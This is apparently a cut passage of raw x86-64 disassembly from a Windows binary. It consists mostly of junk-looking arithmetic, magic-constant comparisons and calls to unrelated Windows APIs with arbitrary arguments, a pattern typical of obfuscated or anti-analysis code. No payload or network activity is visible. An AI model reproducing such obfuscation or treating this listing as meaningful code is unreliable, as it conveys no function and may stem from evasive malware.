mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x316b]
sub eax, edx
mov byte [rbp + 0x1c57], al
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x8ec]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
and eax, edx
mov dword [0x140170314], eax
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x34fc], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
movzx ecx, byte [rbp + 0x316b]
movzx edx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x40f0]
add edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x24224], 0xc59a
jbe 0x14000828e
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
xor eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
or edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0xef9
je 0x14000864d
cmp eax, 0x71a7
jne 0x1400086f3
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov r8d, edx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [0x140170310]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jle 0x14000863b
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
mov eax, dword [rbp + 0x34fc]
mov ecx, eax
call fcn.14015ac03
jmp 0x1400086f3
lea rax, [rbp + 0x24e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoIsOle1Class]
call rax
mov dword [rbp + 0x23b8c], eax
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
cmp eax, 0x6509acbe
jne 0x1400086d7
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x58f3]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2b36], ax
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
jmp 0x1400086f2
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [0x140170310]
add eax, edx
mov word [rbp + 0x12f8], ax
nop
nop
mov eax, dword [rbp + 0x18b0]
mov dword [rbp + 0x18c4], eax
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x1e9e]
movzx edx, ax
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jge 0x140008753
lea rdx, [rbp + 0x3770]
lea rax, [rbp + 0x31e4]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoUnmarshalHresult]
call rax
mov dword [rbp + 0xdec], eax
mov dword [rbp + 0x242e4], 0xcf80
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
and eax, edx
mov dword [rbp + 0x8ec], eax
mov eax, dword [rbp + 0xf2c]
cmp eax, 0x1d441881
je 0x1400087a6
cmp eax, 0x21ad5b49
jne 0x1400087e8
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
call fcn.14015ab3a
jmp 0x1400087e8
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x23b80]
mov r8d, 0x82
mov edx, 0xde
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call rax
mov dword [rbp + 0x23b7c], eax
nop
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov dword [rbp + 0x17c0], eax
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x34fc], eax
mov dword [rbp + 0x2419c], 0xa98f
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov ecx, edx
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
xor eax, edx
cmp ecx, eax
jge 0x1400088c8
movzx edx, word [rbp + 0x1142]
movzx eax, word [0x140170310]
or eax, edx
mov word [rbp + 0x12f8], ax
movzx edx, byte [rbp + 0x1c57]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rdx, qword [rbp + 0x15a0]
mov rax, qword [rbp + 0x23b70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
call rax
mov dword [rbp + 0x23b6c], eax
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov edx, dword [rbp + 0x18c4]
mov eax, dword [rbp + 0x18b0]
sub edx, eax
mov dword [rbp + 0x17c0], edx
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xf2c]
sub edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
add eax, edx
mov word [rbp + 0x1142], ax
jmp 0x140008b3e
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x316b], al
movzx eax, word [rbp + 0x2b36]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5bcc], ax
movzx eax, byte [rbp + 0x4d83]
mov edx, eax
movzx eax, byte [rbp + 0x58f3]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
add eax, edx
mov dword [rbp + 0x17c0], eax
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0x8ec]
and edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
movzx eax, word [rbp + 0x1e9e]
movzx edx, ax
movzx eax, word [0x140170310]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x2b98]
mov word [rax], dx
movzx eax, byte [rbp + 0x1c57]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
xor eax, edx
mov dword [rbp + 0xf2c], eax
sub dword [rbp + 0x242ac], 0xfb
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xf2c]
sub edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov ecx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x18c4], edx
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [0x140176030]
add edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, word [rbp + 0x4f66]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
cmp dword [rbp + 0x242ac], 0xd821
ja 0x14000890d
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1142]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3378]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
xor edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
movzx ecx, word [rbp + 0x1e9e]
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
add eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
sub edx, eax
mov dword [rbp + 0x13a8], edx
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0x8ec]
and edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x18c4], eax
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x4d83], al
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x2b36], ax
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [0x140170310]
mov rax, qword [rbp + 0x2b98]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
and edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov ecx, dword [rbp + 0x17c0]
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
and eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3378]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
sub ecx, edx
mov dword [rax], ecx
add dword [rbp + 0x241c4], 9
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5008]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x316b], al
cmp dword [rbp + 0x241c4], 0x106a
jbe 0x140008b4e
mov edx, dword [rbp + 0x18c4]
mov eax, dword [rbp + 0x31e4]
or eax, edx
mov dword [0x140170318], eax
jmp 0x140009173
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x5bcc]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x34fc], edx
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1e9e]
add eax, edx
mov word [rbp + 0x1142], ax
sub dword [rbp + 0x2420c], 0x15
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
and edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xc4]
add eax, edx
mov dword [rbp + 0xf2c], eax
mov edx, dword [rbp + 0x31e4]
mov eax, dword [rbp + 0x17c0]
sub edx, eax
mov dword [0x140170318], edx
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov r8d, dword [rbp + 0x34fc]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
or edx, ecx
mov byte [rax], dl
movzx ecx, word [rbp + 0x1142]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x17c0], eax
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
and edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x242d8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
movzx eax, byte [rbp + 0x4d83]
add eax, edx
mov byte [rbp + 0x58f3], al
movzx eax, word [rbp + 0x4f66]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
movzx edx, word [rbp + 0x12f8]
movzx ecx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
movzx ecx, byte [rbp + 0x1c57]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
xor edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x2420c], 0x44bc
ja 0x140008ec8
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [0x140170314], eax
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
add eax, edx
mov dword [rbp + 0x18c4], eax
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x34fc]
and eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x17c0], eax
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
add dword [rbp + 0x24234], 0xe1
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
movzx edx, byte [rbp + 0x1c57]
movzx eax, byte [rbp + 0x316b]
and edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
or eax, edx
mov word [rbp + 0x1142], ax
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x13a8], eax
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0xc4]
xor edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
and eax, edx
mov byte [rbp + 0x1c57], al
movzx edx, word [rbp + 0x1e9e]
movzx ecx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
add edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1e9e], ax
movzx edx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x40f0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x5bcc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
movzx eax, byte [rbp + 0x58f3]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [0x140170318], eax
mov edx, dword [rbp + 0x8ec]
mov eax, dword [0x140170314]
xor eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
or edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x24234], 0x1057c
jbe 0x140009183
mov eax, dword [rbp + 0xc4]
cmp eax, 0xdd8166a
jne 0x14000962c
lea rax, [rbp + 0x220]
mov dword [rsp + 0x20], 0x4b
mov r9d, 0xde
mov r8, rax
mov edx, 0x9c
mov ecx, 0xee
mov rax, qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
call rax
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
movzx eax, byte [rbp + 0x4d83]
movsx eax, al
cmp eax, 0x6a
jne 0x14000960c
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
add edx, eax
movzx ecx, word [0x140170310]
movzx eax, word [rbp + 0x12f8]
and eax, ecx
movzx eax, ax
cmp edx, eax
jle 0x1400095ea
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
add eax, edx
mov dword [rbp + 0xf2c], eax
movzx eax, word [rbp + 0x2b36]
movsx edx, ax
movzx eax, word [rbp + 0x4f66]
cwde
mov ecx, eax
call fcn.14015ab3a
jmp 0x14000962a
lea rdx, [rbp + 0x1b60]
mov rax, qword [rbp + 0x23b60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call rax
mov dword [rbp + 0x23b7c], eax
jmp 0x14000962a
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
nop
jmp 0x140009686
mov eax, dword [rbp + 0x13a8]
mov dword [rbp + 0x54e8], eax
lea rax, [rbp + 0x1142]
mov qword [rbp + 0x24218], rax
mov dword [rbp + 0x242f4], 0x7360
movzx eax, byte [rbp + 0x316b]
movzx ecx, byte [rbp + 0x1c57]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
or edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
nop
movzx eax, byte [rbp + 0x58f3]
movsx eax, al
cmp eax, 0xf
jne 0x1400096c5
movzx eax, byte [rbp + 0x316b]
movzx ecx, al
movzx eax, byte [rbp + 0x316b]
movzx edx, al
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x140009779
lea rax, [rbp + 0x34fc]
mov qword [rbp + 0x5c40], rax
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x23e0]
